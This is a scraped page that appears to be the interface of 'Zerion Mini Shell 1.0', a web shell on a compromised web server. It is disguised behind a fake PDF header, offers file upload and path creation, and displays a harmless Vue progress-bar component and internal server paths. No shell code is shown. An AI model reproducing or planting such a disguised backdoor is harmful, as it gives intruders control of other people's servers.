%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/takeaseat.eco-n-tech.co.uk/components/blocks/Account/
Upload File :
Create Path :
Current File : //home/forge/takeaseat.eco-n-tech.co.uk/components/blocks/Account/AccountProgressBar.vue

<template>
  <div class="relative z-20 max-w-md w-full mt-8 text-center">
    <div class="w-full bg-black bg-opacity-25 h-1 rounded-lg overflow-hidden mb-6">
      <div :style="'width:'+progress+'%'"
        class="bg-white h-1 transition-width duration-500"></div>
    </div>
    <span class="uppercase text-lg">{{ progress }}% Complete</span>
  </div>
</template>

<script>
export default {
  props: {
    slug: {
      type: String,
      required: false,
      default: null
    },
  },

  computed: {
    progress() {
      return this.$store.state.account.progress.total
    },
  },

  async mounted() {
    await this.$store.dispatch('account/progress/get', {
      slug: this.slug
    })
  }
}
</script>

Zerion Mini Shell 1.0